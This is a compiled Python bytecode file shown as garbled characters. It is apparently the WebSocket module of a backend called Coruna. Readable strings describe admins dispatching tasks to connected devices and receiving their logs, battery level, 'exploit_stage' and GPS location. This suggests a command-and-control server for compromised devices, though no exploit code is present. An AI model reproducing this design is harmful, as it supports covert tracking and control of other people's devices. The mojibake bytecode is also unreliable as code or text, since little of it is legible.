a
    ?j·*  ã                   @   sž   d Z ddlZddlZddlmZmZ ddlmZmZm	Z	 ddl
mZ ddlmZ ddlZddlZddlmZ eƒ ZG dd	„ d	ƒZeƒ Zdeeedœdd„ZdS )u   WebSocket å®žæ—¶é€šä¿¡æ¨¡å—é    N)ÚDictÚSet)Ú	WebSocketÚWebSocketDisconnectÚDepends)ÚSession)Úget_db)Ú
get_configc                   @   sœ   e Zd ZdZdd„ Zeedœdd„Zedœdd	„Zed
œdd„Z	edœdd„Z
eedœdd„Zedœdd„Zedœdd„Zedœdd„Zeedœdd„ZdS )ÚConnectionManageru   WebSocket è¿žæŽ¥ç®¡ç†å™¨c                 C   s   i | _ tƒ | _d S )N)Údevice_connectionsÚsetÚadmin_connections©Úself© r   ú*/root/Coruna-main/backend/api/websocket.pyÚ__init__   s    zConnectionManager.__init__)Ú	websocketÚdevice_uuidc                 Ã   sB   |  ¡ I dH  || j|< |  d|tdƒj ¡  ¡ dœ¡I dH  dS )u   è®¾å¤‡è¿žæŽ¥NZdevice_connectedÚdatetime©Útyper   Ú	timestamp)Úacceptr   Úbroadcast_to_adminsÚ
__import__r   ÚutcnowÚ	isoformat)r   r   r   r   r   r   Úconnect_device   s    
ýz ConnectionManager.connect_device)r   c                 Ã   sR   |  ¡ I dH  | j |¡ t| j ¡ ƒ}| d|tdƒj 	¡  
¡ dœ¡I dH  dS )u   ç®¡ç†å‘˜è¿žæŽ¥NZadmin_connectedr   )r   Úonline_devicesr   )r   r   ÚaddÚlistr   ÚkeysÚ	send_jsonr   r   r   r   )r   r   r   r   r   r   Úconnect_admin%   s    ýzConnectionManager.connect_admin)r   c                 C   s   || j v r| j |= dS )u   è®¾å¤‡æ–­å¼€è¿žæŽ¥N©r   ©r   r   r   r   r   Údisconnect_device2   s    
z#ConnectionManager.disconnect_devicec                 C   s   || j v r| j  |¡ dS )u   ç®¡ç†å‘˜æ–­å¼€è¿žæŽ¥N)r   Úremove)r   r   r   r   r   Údisconnect_admin7   s    
z"ConnectionManager.disconnect_admin)r   Úmessagec              
   Ã   st   || j v rp| j | }z| |¡I dH  W dS  tyn } z,td|› d|› ƒ |  |¡ W Y d}~dS d}~0 0 dS )u   å‘é€æ¶ˆæ¯åˆ°æŒ‡å®šè®¾å¤‡NTzError sending to device ú: F)r   r#   Ú	ExceptionÚprintr'   )r   r   r*   r   Úer   r   r   Úsend_to_device<   s    


z ConnectionManager.send_to_device)r*   c                 Ã   s|   t ƒ }| jD ]V}z| |¡I dH  W q ty` } z$td|› ƒ | |¡ W Y d}~qd}~0 0 q|D ]}|  |¡ qhdS )u   å¹¿æ’­æ¶ˆæ¯åˆ°æ‰€æœ‰ç®¡ç†å‘˜NzError sending to admin: )r   r   r#   r,   r-   r    r)   )r   r*   Údisconnectedr   r.   r   r   r   r   I   s    
"z%ConnectionManager.broadcast_to_adminsc                 Ã   sŠ   t ƒ }| j ¡ D ]`\}}z| |¡I dH  W q tyn } z*td|› d|› ƒ | |¡ W Y d}~qd}~0 0 q|D ]}|  |¡ qvdS )u   å¹¿æ’­æ¶ˆæ¯åˆ°æ‰€æœ‰è®¾å¤‡NzError broadcasting to device r+   )r   r   Úitemsr#   r,   r-   r    r'   )r   r*   Zdisconnected_devicesr   r   r.   r   r   r   Úbroadcast_to_devicesW   s    "z&ConnectionManager.broadcast_to_devices)Úreturnc                 C   s   t | j ¡ ƒS )u   èŽ·å–åœ¨çº¿è®¾å¤‡åˆ—è¡¨)r!   r   r"   r   r   r   r   Úget_online_devicese   s    z$ConnectionManager.get_online_devices)r   r3   c                 C   s
   || j v S )u   æ£€æŸ¥è®¾å¤‡æ˜¯å¦åœ¨çº¿r%   r&   r   r   r   Úis_device_onlinei   s    z"ConnectionManager.is_device_onlineN)Ú__name__Ú
__module__Ú__qualname__Ú__doc__r   r   Ústrr   r$   r'   r)   Údictr/   r   r2   r!   r4   Úboolr5   r   r   r   r   r
      s   r
   F)r   r   Úadminc                 Ã   s  zf|rØt  | ¡I dH  |  ¡ I dH }| d¡}|dkrN|  ddi¡I dH  q|dkr˜| d¡}| di ¡}t  ||¡I dH }|  d||d	œ¡I dH  q|d
kr| di ¡}t  |¡I dH  |  dddœ¡I dH  qnŽ|sö| jdddI dH  W dS t  | |¡I dH  |  ¡ I dH }| d¡}|dkrB|  ddi¡I dH  q|dkrÜt	j
|| dd¡| dd¡| d¡| d¡| d¡| dd¡d}ttƒ ƒ}	zt |	|¡ W |	 ¡  n
|	 ¡  0 t  d|| ¡ dœ¡I dH  q|dkrf| d¡}
| dd¡}| d ¡}| d!¡}ttƒ ƒ}	z tj|	|
|||d" W |	 ¡  n
|	 ¡  0 t  d||
|||d#œ¡I dH  nü|d$krât	j|| dd%¡| d&¡| d'¡| d(¡d)}ttƒ ƒ}	zt |	|¡ W |	 ¡  n
|	 ¡  0 |  dd*i¡I dH  n€|d+krt	j|| d,¡| d-¡| d.¡| d/¡d0}ttƒ ƒ}	zt |	|¡ W |	 ¡  n
|	 ¡  0 t  d1|| ¡ d2œ¡I dH  qW n¤ ty¾   |rŠt  | ¡ n0t  |¡ t  d3|td4ƒj ¡  ¡ d5œ¡I dH  Y nP ty } z6td6|› ƒ |rît  | ¡ n
t  |¡ W Y d}~n
d}~0 0 dS )7u=   
    WebSocket ç«¯ç‚¹
    æ”¯æŒè®¾å¤‡å’Œç®¡ç†å‘˜è¿žæŽ¥
    Nr   ÚpingÚpongr/   r   r*   Zsend_result)r   Úsuccessr   r2   Zbroadcast_resultT)r   r@   i   zDevice UUID required)ÚcodeÚreasonÚlogÚstageÚunknownÚstatusÚinfoÚ
elapsed_msÚmetadataÚ	log_levelÚINFO)r   rD   rF   r*   rH   rI   rJ   Z
device_log)r   r   rC   Útask_resultÚtask_idÚ	completedÚresultÚerror_message)rO   rP   )r   r   rM   rF   rO   rP   Ú	heartbeatÚonlineÚbattery_levelÚexploit_stageÚextra)r   rF   rS   rT   rU   Zheartbeat_ackÚlocationÚlatitudeÚ	longitudeÚaltitudeÚaccuracy)r   rW   rX   rY   rZ   Zdevice_location)r   r   rV   Zdevice_disconnectedr   r   zWebSocket error: )Úmanagerr$   Úreceive_jsonÚgetr#   r/   r2   Úcloser   ÚschemasÚDeviceLogCreateÚnextr   ÚcrudÚcreate_device_logr   r;   Úupdate_task_statusÚDeviceHeartbeatÚupdate_device_heartbeatÚDeviceLocationUpdateÚupdate_device_locationr   r)   r'   r   r   r   r   r,   r-   )r   r   r=   ÚdataÚmessage_typeZtarget_devicer*   r@   Zlog_dataÚdbrM   Zresult_statusZresult_datarP   Zheartbeat_dataZlocation_datar.   r   r   r   Úwebsocket_endpointr   sæ    

ýþ





ù
ý




ýú	

û	

û	
ý
ýrl   )NF)r9   ÚjsonÚasyncioÚtypingr   r   Úfastapir   r   r   Zsqlalchemy.ormr   Údatabaser   rb   r_   Úconfigr	   r
   r[   r:   r<   rl   r   r   r   r   Ú<module>   s   _